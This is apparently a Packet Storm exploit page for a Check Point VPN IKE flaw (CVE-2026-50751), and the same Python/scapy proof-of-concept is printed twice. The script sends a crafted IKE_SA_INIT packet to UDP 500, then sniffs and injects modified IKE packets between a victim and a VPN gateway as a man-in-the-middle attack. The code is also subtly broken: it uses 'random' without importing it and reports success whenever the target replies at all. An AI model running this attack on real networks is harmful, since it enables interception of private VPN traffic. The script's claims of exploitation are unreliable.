9.3
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Description
This is a Python script attempting to exploit a vulnerability in Check Point VPN by sending a malformed IKESAINIT packet to UDP port 500, detecting whether the target responds as an indicator of exploitability, then executing a MITM attack to intercept...
Basic Information
ID
PACKETSTORM:223316
Published
Jun 12, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Check Point VPN IKE Legacy Auth Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================
[+] Summary : A Python script attempting to exploit a vulnerability in Check Point VPN (CVE-2026-50751) by sending a malformed
IKE_SA_INIT packet to UDP port 500, detecting whether the target responds
as an indicator of exploitability, then executing a MITM attack to intercept IKE packets between a victim and a VPN gateway.
[+] POC :
#!/usr/bin/env python3
import socket
import struct
import sys
import time
from scapy.all import *
from cryptography.hazmat.primitives.asymmetric import x25519
from cryptography.hazmat.primitives import serialization
class CVE202650751Exploit:
def __init__(self, target_ip, target_port=500):
self.target_ip = target_ip
self.target_port = target_port
self.sock = None
def create_ike_sa_init(self):
"""Create a fake IKE_SA_INIT package"""
ike_header = struct.pack('!BBBB I I I',
0x20,
0x20,
0x00,
0x00,
0x00000001,
0x00000000,
0x00000001
)
legacy_payload = bytes([
0x20,
0x00,
0x00, 0x04,
0x01, 0x02, 0x03, 0x04
])
return ike_header + legacy_payload
def exploit_legacy_auth(self):
"""Exploiting weak authentication from existing customers"""
print(f"[*] Targeting {self.target_ip}:{self.target_port}")
private_key = x25519.X25519PrivateKey.generate()
public_key = private_key.public_key()
packet = IP(dst=self.target_ip)/UDP(sport=random.randint(45000, 65535), dport=self.target_port)
ike_data = self.create_ike_sa_init()
print("[*] Sending malicious IKE packet...")
try:
response = sr1(packet/Raw(load=ike_data), timeout=3, verbose=0)
if response:
print("[+] Received response - Target may be vulnerable")
return True
except Exception as e:
print(f"[-] Exploit failed: {e}")
return False
def mitm_attack(self, victim_ip, vpn_gateway):
"""Man-in-the-middle attack to intercept VPN communications"""
print(f"[*] Starting MITM attack between {victim_ip} and {vpn_gateway}")
def packet_handler(pkt):
if IP in pkt and UDP in pkt:
if pkt[UDP].dport == 500 or pkt[UDP].sport == 500:
print(f"[+] Intercepted IKE packet from {pkt[IP].src}")
modified_payload = pkt[Raw].load + b'\x00\x00\x00\x01BAD'
send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/
UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)/
Raw(load=modified_payload), verbose=0)
sniff(filter=f"host {victim_ip} and host {vpn_gateway} and port 500",
prn=packet_handler, store=0)
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [victim_ip]")
sys.exit(1)
exploit = CVE202650751Exploit(sys.argv[1])
if exploit.exploit_legacy_auth():
print("\n[!] VULNERABLE - Legacy client authentication bypass possible!")
print("[!] CVE-2026-50751 exploitation successful")
if len(sys.argv) == 3:
print(f"[*] Initiating MITM attack against {sys.argv[2]}")
exploit.mitm_attack(sys.argv[2], sys.argv[1])
else:
print("\n[+] Target appears patched or not vulnerable")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Check Point VPN IKE Legacy Auth Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : No standalone download available |
==================================================================================================================================
[+] Summary : A Python script attempting to exploit a vulnerability in Check Point VPN (CVE-2026-50751) by sending a malformed
IKE_SA_INIT packet to UDP port 500, detecting whether the target responds
as an indicator of exploitability, then executing a MITM attack to intercept IKE packets between a victim and a VPN gateway.
[+] POC :
#!/usr/bin/env python3
import socket
import struct
import sys
import time
from scapy.all import *
from cryptography.hazmat.primitives.asymmetric import x25519
from cryptography.hazmat.primitives import serialization
class CVE202650751Exploit:
def __init__(self, target_ip, target_port=500):
self.target_ip = target_ip
self.target_port = target_port
self.sock = None
def create_ike_sa_init(self):
"""Create a fake IKE_SA_INIT package"""
ike_header = struct.pack('!BBBB I I I',
0x20,
0x20,
0x00,
0x00,
0x00000001,
0x00000000,
0x00000001
)
legacy_payload = bytes([
0x20,
0x00,
0x00, 0x04,
0x01, 0x02, 0x03, 0x04
])
return ike_header + legacy_payload
def exploit_legacy_auth(self):
"""Exploiting weak authentication from existing customers"""
print(f"[*] Targeting {self.target_ip}:{self.target_port}")
private_key = x25519.X25519PrivateKey.generate()
public_key = private_key.public_key()
packet = IP(dst=self.target_ip)/UDP(sport=random.randint(45000, 65535), dport=self.target_port)
ike_data = self.create_ike_sa_init()
print("[*] Sending malicious IKE packet...")
try:
response = sr1(packet/Raw(load=ike_data), timeout=3, verbose=0)
if response:
print("[+] Received response - Target may be vulnerable")
return True
except Exception as e:
print(f"[-] Exploit failed: {e}")
return False
def mitm_attack(self, victim_ip, vpn_gateway):
"""Man-in-the-middle attack to intercept VPN communications"""
print(f"[*] Starting MITM attack between {victim_ip} and {vpn_gateway}")
def packet_handler(pkt):
if IP in pkt and UDP in pkt:
if pkt[UDP].dport == 500 or pkt[UDP].sport == 500:
print(f"[+] Intercepted IKE packet from {pkt[IP].src}")
modified_payload = pkt[Raw].load + b'\x00\x00\x00\x01BAD'
send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/
UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)/
Raw(load=modified_payload), verbose=0)
sniff(filter=f"host {victim_ip} and host {vpn_gateway} and port 500",
prn=packet_handler, store=0)
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [victim_ip]")
sys.exit(1)
exploit = CVE202650751Exploit(sys.argv[1])
if exploit.exploit_legacy_auth():
print("\n[!] VULNERABLE - Legacy client authentication bypass possible!")
print("[!] CVE-2026-50751 exploitation successful")
if len(sys.argv) == 3:
print(f"[*] Initiating MITM attack against {sys.argv[2]}")
exploit.mitm_attack(sys.argv[2], sys.argv[1])
else:
print("\n[+] Target appears patched or not vulnerable")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================